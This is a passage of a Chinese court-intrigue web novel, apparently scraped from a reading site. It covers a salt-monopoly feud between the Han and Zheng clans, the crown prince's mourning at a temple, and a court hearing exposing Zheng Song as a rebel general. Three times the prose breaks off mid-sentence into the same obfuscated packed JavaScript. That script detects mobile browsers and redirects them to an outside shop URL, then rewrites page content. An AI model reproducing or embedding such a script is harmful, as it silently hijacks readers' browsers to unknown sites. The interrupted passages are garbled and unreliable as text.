还有一种可能,是这桩二十年前的旧事是他为你准备的一个局。” 韩少初心中一坠,眸色沉得有如乌云蔽日。 任知宜突然问道:“郑檀那个死去的兄长有没有子嗣?” “有一个儿子,二十五六岁,经营着郑家的几间小商铺,并不起眼。” 任知宜眼皮微抬,声音带着些许凉意。 “这么多年,他依附于仇人为生,完全不介意自己父亲的死,可见不是个有血性的。李氏丧夫二十余年,对于她来说,是逝去夫君的公道重要,还是他母子二人的后路重要?” 韩少初折扇一收,脸色变得很难看。 沉思片刻,他唇齿轻磨,“我还知道一个人,他手中握有郑檀的把柄。” “谁?” 韩少初肃着脸道:“郑檀的堂兄郑二爷。” “你最好想清楚!”任知宜微抬眼皮,定定地看着他,“郑二爷虽与郑檀相争,却不会为了搞垮郑檀而任由郑家败落。说到底,他也是郑家人。” 这也不行,那也不行! 韩少初急怒交加,猛地起身拂袖,弄得花瓣四散,“任知宜!你莫不是故意这么说?毕竟之前你就一直不赞成东宫介入……” 任知宜眉心紧拧,冷下脸来。 “韩大公子,今日可不是我求你来的!” 韩少初沉静下来,深深地吸了一口气。 “呃呃呃呃……”,他支支吾吾地抛出一句话,含混不清。 任知宜冷笑道:“韩公子莫不是嘴里生了疮?怎地连话都不会说了!” 他别过脸去,又说了一遍,“抱歉,刚才失言了。” 见任知宜不理会他,径直要走,他忙扯住她的袖子连声告饶,大有强赖着不放人的架势。 任知宜觑了他一眼,“这就是你的道歉?” 闻言,韩少初突然福至心灵。 他折扇一摇,朝着不远处摘花的众人朗声高喊道:“今日我韩家庄子上有刚刚运至京城的鲜鲟,还有位江南最擅长做鱼的厨子,我做东,请诸位吃鲜鲟膳,希望各位赏光!” 宝珠和唐橘高兴地应了声。 任知宜黑眸如阗,缓缓道:“佳肴难得!不如再多请几位客人。” “你请来的,我自然欢迎!”韩少初未多想,欣欣然应了下来。 他凑过来,低声问道:“接下来,郑家的事该怎么办?” 任知宜沉默半晌,轻声道:“李氏一事终究只是我的猜测,你须得先查证。” “可是,太子不出山门一步,我如何查实?” 任知宜沉思道:“去找御史大夫叶蕴之!” 话语一顿,“你见到叶大人时,不要提及我。” “为何?”韩少初下意识道。 任知宜心中思量,回京之后她与叶蕴之见过几次,直觉告诉她,对方似乎对她有些不满,或许是因为她与太子有过争执;又或许,是因为京城的流言…… 好在韩少初并未继续深究,他复又问道:“若那李氏真有问题,该当如何?” “什么都不要做,照着原来的计划行事。” ———— 华济寺 深山掩映,古木苍苍,大殿的晨钟闷响,僧人打坐低诵,梵音连绵不绝,与钟声相辅相和。 众僧环绕,卫枢坐于正中,一身素衣,两手合十,双目闭阖。 “阿弥陀佛!”华济寺的主持轻声诵道,木鱼之声随之而落。 主持弘忍法师长得慈眉善目,面容平和,颇具佛家高僧的气度。 “殿下,七日已过!” 木龛之上香火燃燃,卫枢缓缓睁目,双眸澄净,满是虔诚地望着木龛上的灵位。 “法师受累了!” 弘忍法师低首合十,“阿弥陀佛!七年来,殿下每逢忌日念诵往生经文,七日不眠不休,是老衲生平所见最为至诚至性者,相信定能为沈施主消除造业之苦,往登极乐。” 灵位上刻着“父,沈玄”三个字。 望着灵位上的名字,卫枢微微出神。 …… 他醒来的那日,屋外正下着雪,天地一片白茫。日正当中,天光照进窗棂,将破旧斑驳的桌案折射出金光。 书案旁,男子身着青色袍衣,抬手将笔蘸饱墨汁,端端正正地写出几个大字。 “这是我的名字!我姓沈,名玄,字本之。你从山上摔下来,伤到了头,可认得这几个字?” 他的眉目生得疏朗,加之声音平和,带着一种安定人心的力量。 卫枢清醒过来后,感受到落在自己额头上的手掌,轻柔而温热,紧张的心渐渐沉静下来。 沈玄问他,可还记得自己的名字。 他摇了摇头。 脑中的记忆支离破碎,偶尔闪过的画面尽是漫天火光,刀兵剑戟,血流成河。一用力去想,便头痛欲裂。 沈玄抚着他的发顶,眼神中充满怜惜,“孩子,都是战乱流离之苦,想不起来就算了!日后跟着我生活吧!” 他又思索片刻,“我给你起了个新名字,叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728807|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈回,希望有一日你能记起自己的名字,回到家乡,得见父母。” 可惜……义父,你最终也未能知晓我的名字…… 卫枢垂首敛眸,转回身来问道:“弘忍法师,七日诵经已过,我想将义父的灵位请回供奉。” 安州旧俗,若有至亲者枉死,必要在七年内做满七七四十九日诵经法事,之后于家中供奉灵位,晨昏一炷香。 “阿弥陀佛!”弘忍法师颔首道:“殿下事沈施主至亲至孝,他泉下有知,定能安慰。” 卫枢默然半晌,“之前拜托法师寻找的人,可有下落?” 弘忍法师其人,与沈玄还有些渊源。他亦是安州人,曾与沈玄在同一书院读过书。两人虽不相识,却也彼此知晓。 后来两人双双科举落第。 弘忍法师经此打击,大彻大悟,决然剃度出家,因着佛学渊博,一路做到华济寺的主持。 当年云门镇染疫,弘忍法师亲自带领僧众为镇上百姓送吃食和汤药,后来还专门去到邻近道府求助,可惜等他回来之时,云门镇已是尸骸累累。 卫枢回京之后,将沈玄的灵位寄于华济寺,并托弘忍法师寻找云门镇的幸存之人。 “阿弥陀佛!没有任何音信。”弘忍法师长叹道:“这么多年过去,逝者已矣。他们本就是侥幸存活下来的人,殿下何必非要打扰他们平静的生活呢?” 云门镇幸存者有四人,他们当年从云门镇的尸山血海中跑出来,历尽艰辛找到弘忍法师,在法师的帮助下,指认叛军屠戮云门镇全镇百姓,惹得天下震动。 后来,叛军溃败,仅剩下些残部逃往西北。他们四人担心会遭到叛军余孽的报复,纷纷改名换姓,不再出现于人前。 卫枢轻声道:“如今已是咸宁七年,叛军余孽早已烟消云散。他们四人都是土生土长的云门镇人,正所谓故土难离,孤相信,迟早有一日,他们会回去看一看的。” 他留了暗卫在安州,若有陌生人回到云门镇,他立刻能得到消息。 可惜这么多年过去,不见任何音信。 云门镇早已面目全非,不似当年。 当年的云门镇山青柳绿,细泉石流。镇上的百姓日子虽然过得清苦,却也安宁自得。男人在田间劳作,女人织布补衣,孩童喜欢挽起裤腿,在清溪中抓泥鳅…… “殿下一人之下,万人之上,是大胤的储君,未来的江山之主,若真想要找他们几人,何不借助朝廷?” 卫枢目色沉沉,默了半晌,“朝廷上下不想再提及当年之事,对于父皇来说,重提旧事,会令他记起很多晦暗的过往。” “阿弥陀佛!”弘忍法师双唇微张,想说什么,终究没有说出来。 卫枢小心地将灵牌置于一方黑色檀木盒中,双手抱紧,护于胸前。 “那四个人的下落,还请法师多多费心。” 弘忍法师颔首道:“殿下精诚所至,金石为开,定有如愿的一日。我与沈施主也有旧日同窗之谊,既然他们与沈施主的临终遗愿有关,老衲定当尽力,助殿下完成夙愿。” “多谢法师!” 56. 做客 依柳山庄 山庄位于京城南郊,东临溧水,青瓦白墙,颇具江南风韵。 韩少初立于山庄门前,一袭广袖紫袍,腰间别黄玉带钩,脚蹬金丝高靴。 “诸位驾临,蓬荜生辉。”韩少初拱手施礼。 “好气派的庄子!”唐橘下马落地,抬眼望去,铜环朱门,高檐繁复,显贵非常。 韩少初精致的面容上浮起疏淡的笑意,似是对这种赞叹习以为常,眸中闪过几分傲然。 “不过是朱门酒肉臭,路有冻死骨罢了!”霍思修抿唇轻哼道。 韩少初折扇一摇,笑得潋滟,“我韩家一向积德行善,每年放粮施粥,收容流民,江南百姓皆可为证。 他顿了一下,望着霍思修笑道:“虽说大胤一向崇文,本公子却不以为然。所谓什么经纶满腹,济世之才,终究是纸上谈兵。大胤文人万千,既不能如武将般护疆卫土,亦不能像商贾般通路惠民,不过舌灿莲花,长着一张利嘴罢了。” “嗳……你!”霍思修气得脸色青白,几乎要拂袖而去。 冷不防,被人一把按住肩头。 他回头一望,惊讶道:“景兄?” 景随敛袖施礼,笑意融融,犹如秋风皓月,温柔怡人。 “听说今日有鲜鲟膳,景某与两位朋友冒昧打扰,还请韩公子不要见怪!” 他微微侧身,向众人介绍身边之人,两位朋友皆为户部主事。 韩少初收起玩笑的表情,神色复杂地瞥了任知宜一眼,复又笑道:“景大人和贵友前来,少初受宠若惊。” 景随回礼,淡笑道:“今日不论朝事,只鉴美食。韩公子是知宜的朋友,若蒙不弃,在下唤公子一声韩兄,不知可否?” 君子如玉,持礼端方。 “荣幸之至,景兄!”韩少初客气地笑了笑,右手一扬,请众人入庄。 江南园林重自然璞真,韩家特意延请名匠引溧水支流入庄,形成一处内湖,终年活水,清碧见底。 绿柳依湖,假山嶙峋。 韩少初领着众人进入水榭,筵席已备好,案上摆着各式金樽玉器,奢靡华贵。 “诸位请!”韩少初右手一扬。 众人盘膝而坐。 霍思修在宝珠旁边,瞧她一脸新奇地把玩着桌案上的鎏金白玉盅,清了清嗓子道:“韩少初穷奢极欲,又自命不凡,用的东西皆是些俗物。” 宝珠白了他一眼,“我就喜欢这些俗物!” 霍思修噎了一下,嗫嚅道:“喜欢东西倒没啥,千万别喜欢人。看那双桃花眼,就知道不是什么好男子。” 宝珠的眼睛一直黏在金器上,头也不抬道:“我才不会喜欢比自己还漂亮的男人呢!” 霍思修下意识地摸了摸自己的脸,放下心来。 碧湖之中,数十条金色的锦鲤一跃而跳,嬉戏起来。 趁着众人倚栏观赏,韩少初踱到任知宜身旁,咬着牙道:“你这是诚心害我!” 他前脚刚去见了御史大夫叶蕴之,后脚便请景相公子和户部主事到山庄做客。朝中之人闻风而动,势必以为东宫无能,韩家有意另投明主,与郑家和解。 任知宜拽回快被他扯烂的袖子,轻声道:“我会代你向殿下解释,你做足样子就好。” 韩少初气笑了,“做什么样子?讨好之态?” 任知宜斜睨了他一眼,淡淡道:“嗯!” “……” —— 白玉瓷碟之上,鲟鱼片被裹于碎冰之中,薄如蝉翼,色泽透明,冒着丝丝冰气。 “此乃冰鲟片,取骨节处最为鲜嫩的部分,辅以酱汁,口感极为不同,诸位可以一试。”韩少初介绍道。 众人觉得新奇,纷纷夹起入口。 绵软滑嫩,鲜美至极,齿颊余味留香。 景随赞叹道:“之前不知韩公子于美食一道如此讲究,景某今日实是不虚此行。” 韩少初唇角轻勾,对空击掌三下。 缠绵悱恻的靡丽之音渐渐响起。 身着片缕的舞姬鱼贯而入,腰肢露出大片的雪肤,胸前珠片闪烁,修长的美腿包裹于薄纱之下,若隐若现。 妖娆的舞姿,和着琴音,舞姬扭动着腰肢,将梨浆酒倒入每一位宾客的杯中。 明眸闪动,似能勾魂夺魄。 倒酒时,舞姬俯身向下,整个人几乎贴靠在霍思修胸前,惊地他跳了起来。 霍思修面皮涨红,指着韩少初道:“你,你这是什么意思?” 韩少初瞥了一眼任知宜,慵懒一笑,“自然是竭尽全力,令宾主尽欢啊。” 任知宜捏着酒杯的手指微僵,面色亦是不大好看。 刚才她让韩少初做些样子,反而惹得他狂悖行事!他故意作辱众人,是想惹怒景随他们。 想到此处,她禁不住扶额蹙眉。 她忘了! 韩少初原本就不是一般人的性子。他世家出身,高傲任性,对郑家恨意滔天,宁可一败涂地,也不愿意对郑家示弱。即使只是表面上做做样子。 “难道霍大人不喜欢?怎么还露出这种受辱的表情?”韩少初故作不解,转向景随问道,“景兄,你觉得呢?” 景随接到任知宜投过来的略带歉意的眼神,安抚似地笑了笑,“冒昧一问,韩兄可曾娶亲?” “不曾!”韩少初悠悠道:“不过家中有八位美妾。” “噗……”,唐橘一口酒喷了出来,咂着嘴道:“八个?” 韩少初不以为意,理所当然道:“环肥燕瘦,各有美姿。八个亦不算多。” 景随笑道:“景某与韩兄想法有些不同。景某此生只钟情一人,其他美人落在我眼中有如浮云,实在是辜负了韩兄的美意。” 唐橘掌拍席案,高声赞道:“景公子此言,甚得我心。” 云娘和宝珠不住地点头,眸中亦流露出欣赏之意。 任知宜低头,饮了一口梨浆酒。 韩少初口中逸出一声轻叹,惋惜道:“没想到景兄倒是位痴情人!” 他的视线瞥过任知宜,见她面色平静,波澜不惊,缓缓笑道:“不知哪位姑娘如此幸运,能得景兄青眼相待!” 这番话带了几分试探之意。 景随笑而不语。 韩少初状似玩笑道:“景兄不知,有些女子很是薄情寡义,须得好好擦亮眼睛才行。” 温热的酒在口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762365|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 含了片刻,任知宜方才缓缓地咽下去。 梨浆酒虽清甜,回味时却略带辛辣之意。 今日之举,若说她心中对什么人有愧,便是景随。 她将他扯进韩郑两家的纷争之中…… 突然,景随朗声笑道:“韩兄放心!我喜欢的姑娘重情重义,在我心里,她自然就是天底下最好的姑娘。” 任知宜闻言微怔,望着景随,目色幽幽。 ———— 圣令颁下,中秋之日,皇帝将携庆嫔出巡省亲,车马、随从四百,金银财帛不计其数。 次日,郑檀入宫。 随行的内侍亦步亦趋,“郑家主,请缓步!” 郑檀听他口气有异,“公公是……?” 内侍跟在身后,笑容微敛,“家主贵人事忙,小人不过区区一个奴才。事情来得急,贤妃娘娘让我来与您说一声,一会儿面圣时务必谨言。” 郑檀眉头一蹙。 内侍低头跟着,轻声道:“家主,前些时日,陛下是不是为郑家老夫人授了二品诰命,另赐了两个荫补额于郑家?” 郑檀点了点头。 其实,二品诰命尚在其次,恩荫制才是文臣素来看重的。大胤的恩荫制,正三品官员以上者可得两个荫补额,荫补子弟先入国子监,然后等待荫补空缺,运气好的甚至可做到正四品刺史之位。 此殊荣赐予郑家,不知有多少人眼红。碍于皇帝和政事堂皆赞成,朝中并未传出什么反对之音。 可是,旁人深羡的皇恩落在郑檀的心里,却是另一番思量。 郑家是百年世家,前朝不知出过多少状元探花,如今虽不在朝,却也把控着江南三道九州的政务。若不是世家内斗,韩家执意与他争盐业经营,他岂会在意皇帝的小小恩惠。 内侍继续道:“奴才将贤妃娘的原话说给您听。 贤妃娘娘说,如今郑家在江南,靠的已不是百年世家声名,而是盐税财权。普天之下,莫非王土;眼下郑家世所瞩目,一言一行皆不可行差踏错。” 郑檀眉宇蹙得更深,显得原本端肃的面容愈加沉郁。 贤妃是郑家晚辈,素来对他尊敬有加,话说得这么不客气,还是第一次。 “是不是郑家的旁支有人犯了事?”郑檀面色不变,声音淡漠,“是人命官司,还是别的什么?” 内侍回道:“是家主的两位公子在国子监说了藐视皇恩的话,此事已被太子知晓。” 郑檀目色骤阴。 太子于华济寺做了七日法事,缘何得知国子监的闲言碎语! 兴许,这本就是太子暗地着人挑衅,逼得二人脱口而出,落下话柄。 郑家骨子里是瞧不上皇权势弱,但是在国子监宣之于口,却是另一回事。 “太子已经禀了陛下?” 内侍忙道:“还不曾,许是在等待时机。贤妃娘娘的意思是希望家主尽快找到应对之法。” “我明白!”郑檀顿了一下,状似无意道:“贤妃娘娘身处内宫,耳目甚为通达啊!” 内侍垂首低声道:“其实,是安王!” 郑檀会意。 白玉石阶,纵阔南北,乾元殿映入眼帘。 57. 郑家 这几日,时晴,时雨。 朝堂上一片安宁,诸臣见面皆和和气气,笑语相谈。 为官者都知晓,八月乃大胤吏部考核之期,只要安安稳稳地度过此月,不被御史台弹劾,次年便可安枕无忧。 是日,朝议将启。 清和殿外,未至月落,天色尚昏,众臣立于各自的位置,静待早朝。 一位站在最末的工部官员畏寒,冷风一吹,遍体生凉,忙不迭地拢袖搓手,“真是一夜入秋,毫无征兆啊!” 另一官员笑道:“今日恐怕又是个阴雨天,所幸明日便休沐,我家夫人早已备好桂酒、月团,几个孩子都等不及了……” 二人官秩不高,站在离宫门不远处的地方,听到身后传来声音。 回首一望,叶蕴之走到宫门前,身边还有位褐衣老妇。 二人慌忙屈身低头,余光扫过去,叶大人指着宫道一侧,似乎是在嘱咐那老妇在此地候着。 众臣窃窃私语之际,内侍拖着尖长的声音喊道:“入,殿!” ———— 鸿胪寺卿呈上应国国书,恭身禀道:“陛下,照国书所写的日子推算,应国的彦月公主不日将抵达京城。” 皇帝飞快地瞥了一眼国书,“彦月公主远道而来,鸿胪寺可已准备妥当?” “公主随行约有百人,房舍、衣物、膳食等皆已备好。请陛下放心。” 皇帝随意地点了点头,神情露出几分疲惫。 接连几日,庆嫔夜夜痴缠,柔情缱绻,铁打的身子,也难消受美人恩! 皇帝倦欠,“诸臣若无事,便退朝吧!” 御史大夫叶蕴之跨步而出,“臣有本奏。” “允。” 叶蕴之道:“陛下,盐业经营权之归属已经争执数月,臣以为此事不可继续延宕,以免伤及赋税。郑韩两家皆已签下契书,承诺盐收超往年两成。另外,两家皆向朝廷呈上经营要略,并与京城盐商立下盟契,如今只待朝廷决断,请陛下圣裁。” 皇帝眼皮不抬,“郑檀和韩少初如今何在?” 随侍一旁的胡总管垂着头,低声道:“都在殿外候着呢。” “宣吧!” 人还未至,户部尚书柳德开口道:“韩家之前曾出售假盐……” 叶蕴之沉声道:“售卖假盐的掌柜突然暴毙,大理寺言此案疑点重重,尚不能定论。” 柳德道:“即使如此,也是韩家任人不察。” “韩家在京城共计一百二十七家商铺,门下掌柜良莠不齐;出事的第三日,韩家已自行发现端倪,及时清理门户;若因此摒除韩家,实在有失偏颇……” 皇帝袖起双手,半靠于椅背之上,视线漫不经心地扫过景相和太子。 二人皆神情淡然,若有所思。 皇帝冷眼旁观,照今日之势,郑韩之争必有一个结果。 “那依叶大人所言,该如何评断?”柳德敛眉问道。 叶蕴之突然朝御座拱手施礼,声音低沉和缓,“陛下,郑檀谋害胞兄,罔顾人伦法度,乃是不仁不德,罪大恶极之人。臣惟恐有人混淆圣听,指鹿为马!” 叶蕴之在朝中素有贤名,他面容生得端正,双眉飞长,弹劾朝臣时,威仪赫赫,气度绝然。 满殿为之一震。 “叶大人!”柳德拧眉,“御史台掌百官纠察,何时管起命案来了?” “历来难疑要案,御史台皆负监察之责。此案既事关盐业经营,又牵涉朝中重臣,御史台自然当仁不让。” 此时,郑檀、韩少初进入殿中。 皇帝轻声道:“郑檀,叶大人说你谋害胞兄,可是实情?” “这从何说起!” 郑檀惊然失声,倏地伏跪于地,“请陛下明察!若真有此事,臣甘愿在文华门前受千刀万剐之刑,挫骨扬灰。” 毒誓发得又狠又绝。 皇帝目色温和,轻声道:“郑家主,起身说话吧。” 复又望向叶蕴之,“叶卿素行高洁,眼里容不得半点沙子,但也须得给郑檀一个解释的机会,不可人云亦云。” 听到皇帝的这番维护之言,叶蕴之亦挺直着脊背,不堕半分仪态。 “这是郑檀兄长遗孀李氏亲笔画押的供词,言明二十年前,郑家本属意郑檀之兄郑松继任家主之位,可是郑松突然失踪,这才选了郑檀。两日后,郑松的尸体现于崖下,被乱石戳得面目全非,死状凄惨。 郑松失踪之后,李氏曾亲眼见到郑檀偷偷焚烧郑松的衣物,后来更将郑松住过的院邸变卖作他途。” “叶大人!”郑檀喝断道:“言之凿凿,却非实证。” 叶蕴之不慌不忙,拿出第二份供纸,“这是大理寺卿林居正大人亲自去柳州取的证供。郑松失踪的那一日,有两个进山采药的村民亲眼见到你出现在郑松掉落的山崖。” “那又如何?”郑檀沉声反问。 叶蕴之继续道:“那山崖是柳州一个偏僻的小山头,周围荒无人烟,你去那儿做什么?” 郑檀面色不改,“那山上草药繁茂,我听说有一味草刚好能治家母顽疾,我去碰碰运气,或许兄长也是一片孝心,却运气不好,不慎跌落悬崖。” 郑母已逝去十几年,究竟有没有此事,谁也无法查证。 众人望向郑檀的目光起了些微变化,自古为争财夺利而兄弟残杀的事情并不少见,何况郑家富可敌国;但见郑檀神态自若,又纷纷纳罕。 “那你如何解释这个?”叶蕴之扔出一张纸笺,“这是当年郑松的尸验单。” 复又拿出一份文卷,“这是柳州前刺史方耀的证词。” 郑檀神色微凝,下意识地瞥了柳德一眼。 叶蕴之继续道:“仵作当年验出,郑松并非摔死,而是被割颈致死。方耀承认,你当年行贿于他,让他改了尸验单,将此案作意外,草草了结。” “郑檀!”他神色肃然,厉声喝道:“你还有何话说?” 郑檀默了半晌,突然叩首道:“听闻叶大人已将臣的寡嫂带至宫门外,臣想见一见寡嫂李氏。” 众臣面露不屑。 刚才立毒誓时说得轻巧,如今一败涂地,却犹要做困兽之斗! 人证物证聚在,李氏的证词根本不算实证,就算他逼得李氏当场反口,又有何用! 女子不可入殿。李氏到后,在大殿前的石阶处跪拜下来。 她年约五十,面容苍老,满眼惊惧。 郑檀回首望她,沉下脸来,“嫂嫂,是你说大哥死于我手?” 李氏不敢抬头,浑身发抖,半晌才颤声道:“是!” “这是陛下面前!”郑檀大声喝道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13835039|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你想清楚!欺君之罪,是要被杀头的。” 李氏抬眼望去。 日光照不进大殿,若明若暗,御座高高在上,雕刻其上的飞龙腾跃而起,张扬的利爪闪着金色,令人目眩。 还有郑檀那双阴鹜的双眼,在人群中犹如鬼目,正森森地望着她。 她吓得低头,面色煞白,身子抖如筛糠,几乎要晕倒在石阶上。 皇帝开口,“郑檀,这都是假的?” 郑檀伏地叩首,“叶大人所呈供词属实……” 话音一顿,他抬头朗声道:“但是,那具尸体却不是我兄长郑松。” 皇帝闻言,双目愕然。 满殿震惊,却又听郑檀继续道:“陛下,臣有罪!” 皇帝喝道:“说清楚!” “那具尸体是臣从邻县买来的。府衙里常有死刑犯在行刑前病死狱中,通常官府会将尸体割颈,扔入乱坟岗里,臣花银子买了这样一具与我兄长体形相当的尸体,划伤脸部。 家兄郑松自幼喜欢舞刀弄枪,不喜经商,与爹娘有过数次争执。当年他执意离家,让臣帮他假死脱身,他一直活着,每年都会给臣寄信。” 如此内情,实在匪夷所思。 皇帝怔了半晌,蹙眉道:“郑松如今在何处?” 郑檀沉默了一瞬,“回禀陛下,自十一年前起,臣再也没收过家兄的信,自此失了音信。” “咚……” 跪着的李氏在听到“十一年前”时,骤然晕倒在石阶上。 叶蕴之和林居正相视一眼,面沉如水。 皇帝望向景郦,“景相如何看待此事?” 端坐于交椅的景相缓缓地站起身来,双眸矍铄,目光沉然,“若郑檀所说为真,老臣以为,此乃郑家家事,与盐业权无关。” 柳德轻声笑道:“虽说是家事,郑檀助兄假死,也是德行有瑕。您说呢?叶大人!” 这话意有所指,既然叶蕴之说韩家售卖加盐是小事,那么郑家假死这桩家事自然也不能影响到郑家的经营权。 此乃以退为进! 御史台今日之举,必要负失察之责;就算单单只是为了安抚郑家,韩家也赢不得;更何况皇帝和景相原本就属意郑家。 满朝文武静立无言,眼观鼻,鼻观心,内心思绪翻涌。 …… 针,刺入百会穴。 李氏悠悠地醒转过来,身子抖得有如风中飘零的落叶。 胡总管进来禀道:“陛下,郑家主所说的信件皆已呈上,确系郑松亲笔。” “臣,臣妇有罪!”李氏面无血色,一脸的灰败,“臣妇故意冤枉郑檀,恳请一死谢罪。” 郑檀先一步道:“陛下,家兄曾在信中提到,李氏全然知情。如今他生死未卜,请陛下暂留李氏性命,臣想问清楚家兄的下落。” 皇帝颔首。 “兄长何在?” “夫君已故!” “何时亡故?” “十一年前。” “如何而死?” 大殿突然陷入死寂,李氏嘴唇抖动,半晌不说话。 郑檀凝目而视,眼底一片幽深,缓缓问道:“或者,我换一个问题,到底是谁指使你来冤枉我?” 众臣眼神轻动,余光扫过一人。 ——太子卫枢。 58. 暗局 风起,乌云遮日,天光渐淡。 烛台燃起,明暗交错,清和殿内灯影幢幢。 冷风窜进衣领中,李氏瑟缩了下身子,颤声道:“民妇因为嫉妒二叔得到家主之位,又恨他将我们孤儿寡母赶到乡下,一时迷了心智诬陷于他。着实没有人指使我。” 柳德捋着短须,笑道:“为了这点恩怨,你便甘愿冒着杀头的罪名,犯下欺君之罪?” 李氏神情激动,不住地磕头:“民妇但求一死,但求一死……” 皇帝失了耐心。 “刑部尚书席白!” “臣在!” “事关大理寺、御史台清誉,你将这妇人和她身边之人全部押入刑部大牢,三天之内,给朕一个结果。” “臣遵旨!” 李氏闻言,吓得魂不附体,“这事情和我儿无关啊!我儿不知情的!” 大胤非重案不入刑部,所以刑部大牢为了震慑犯人,设计了三十七种刑具,进去的人只求速死,不愿苟生。 皇帝不耐烦地摆摆手,示意内侍将她拖走。 “不!不!”李氏像是突然清醒了一般,猛地磕头,“陛下开恩!我儿全不知情……民妇说!民妇说!” “懿靖郡主!”她满眼惊惧,涕泪横流,“是懿靖郡主指使民妇陷害二叔的,我儿真得什么都不知道。” 此言一出,众皆惊然。 其中,最惊讶的莫过于叶蕴之和林居正。 柳德和郑家费尽心机,设了这么一个局,最终却不是剑指太子,而是针对一个毫无实权的郡主? “是真的!”李氏颤声道:“懿靖郡主约民妇在吉祥酒楼见过两次,分别是八月初二和八月初八。” 内侍得了令,立刻将宫门出入所记的册子呈上来。 懿靖长住宫中,这两个时间刚好与她出宫的时间都对得上。 柳德瞥了卫枢一眼,“只要审一审懿靖郡主身边的丫鬟,真相便可水落石出。” “或者问问郡主。”有人提议道。 “慢着!”叶蕴之突然问道:“李氏,懿靖郡主与你素不相识,你为何要听命于她?” 李氏垂着头,“郡主位高权重,民妇不敢不从。” “荒谬!一句位高权重,便能让你舍命欺君?”叶蕴之冷笑:“到这个时候了,还在砌词狡辩!再不说实话,第一个下狱受刑的就是你亲子郑吉!” 话音刚落,只见李氏猛然站起身来,飞奔着将头撞向殿外立柱。 殿前侍卫的动作更快。 没有传来意想中的疼痛,李氏被侍卫制住,动弹不得。 她浑身战栗不止,突然情绪崩溃地掩面痛哭。 “她说……”,李氏声音抖颤,“要将我夫君的事儿说出来。” 发髻松散,眼窝深陷,李氏的面容比她的年纪显得苍老十几岁,她像是被内心的纠结和惊惧折磨了很久,终于倾泻而出。 “我夫君郑松二十年前离家之后,改名为郑鸿泰。” “郑鸿泰!” 有人失声喊道:“难道是当年嘉以之乱,逆贼盛齐月手下的第一大将郑鸿泰?” 李氏神情凄惶,低着头不答话。 郑鸿泰当年是盛氏第一猛将,骁勇善战,常于阵中斩杀大胤将领首级,令人闻风丧胆。 当年他为先锋,一路杀入皇宫,逼得懿华宫玉妃和一些妃嫔宫女自缢,又放火烧了懿华宫。 盛齐月不但没有怪罪,还大加封赏于他。后来,嘉以四年,郑鸿泰突然急病离世,被盛齐月赐封王,以“忠勇”为谥号,正是十一年前。 任何人也想不到,郑鸿泰居然是百年世家柳州郑家的长子,郑家家主的兄长。 皇帝面目阴沉,“李氏,你说得是真的?” 朝中上下皆知,懿华宫是皇帝的一块心病。为了修缮懿华宫,皇帝还与景相争执过数次。 因为玉妃是二公主的生母,传闻当年皇宫陷落,玉妃等人惨遭盛齐月的凌辱,郑鸿泰为了替盛齐月遮掩丑事,一把火烧了懿华宫。 听闻旧事,皇帝怒不可遏地瞪着郑檀。 郑檀面色煞白,双目茫然,亦是一副不敢置信的样子。 “陛,陛下息怒!臣着实不知!” 眼见此景,韩少初突然冷笑道:“郑家主若不知情,为何要将寡嫂和侄子赶到乡下去住?” 郑檀平稳住气息,“那是家兄在信中嘱咐的,臣当年也不明白,只是遵照而已。” 李氏点了点头,低声道:“夫君身染疫病,恐不久于人世,寄信嘱托我们母子去乡下居住,且绝不能将他的身份告知二叔,还让我把所有的信烧掉。” 众人心中了然,郑松和郑檀之间本就没多少兄弟情义。郑松野心勃勃,不满于郑家家主之位,想要跟着盛齐月逐鹿天下,又担心身份暴露,不得已假死脱身。郑檀不费吹灰之力得到家主之位,二人各取所需。 郑松担心郑檀若知道真相,恐怕会对李氏母子不利,所以自始至终没有告诉郑檀他的身份;而郑檀亦心思深沉缜密,这么多年,始终将二人的信件保存得完好无损。 若是如此解释,倒也说得过去。 不过,经此一事,郑家出了一个逆贼,皇帝旧恨难消,恐怕不会再将盐权交予郑家。 韩少初默默垂首,唇角轻勾。 柳德突然问道:“你说郑鸿泰是十一年前染疫病而死?他究竟死在哪里?” 景相双眸微动,眉头微不可察地蹙了一下。 他的话,提醒了众人。 嘉以四年,云门镇染疫。盛齐月派兵杀害云门镇染疫的百姓,一夜之间,血流成河,哀嚎遍野。 没想到,时隔十一年,这一桩旧事会以这种方式,被人再度提起。 李氏嗫嚅道:“我夫君他,他死在安州。” 云门镇正是在安州。 她这句话即是间接承认了当年带兵之人是郑鸿泰,残杀者最终染疫病而死也是因果报应。后来云门镇之事被幸存之人公之于众,盛齐月不愿承认,所以故意隐瞒了郑鸿泰的死因。 柳德继续问道:“此等秘辛,郑檀尚且不知,懿靖郡主如何得知?” 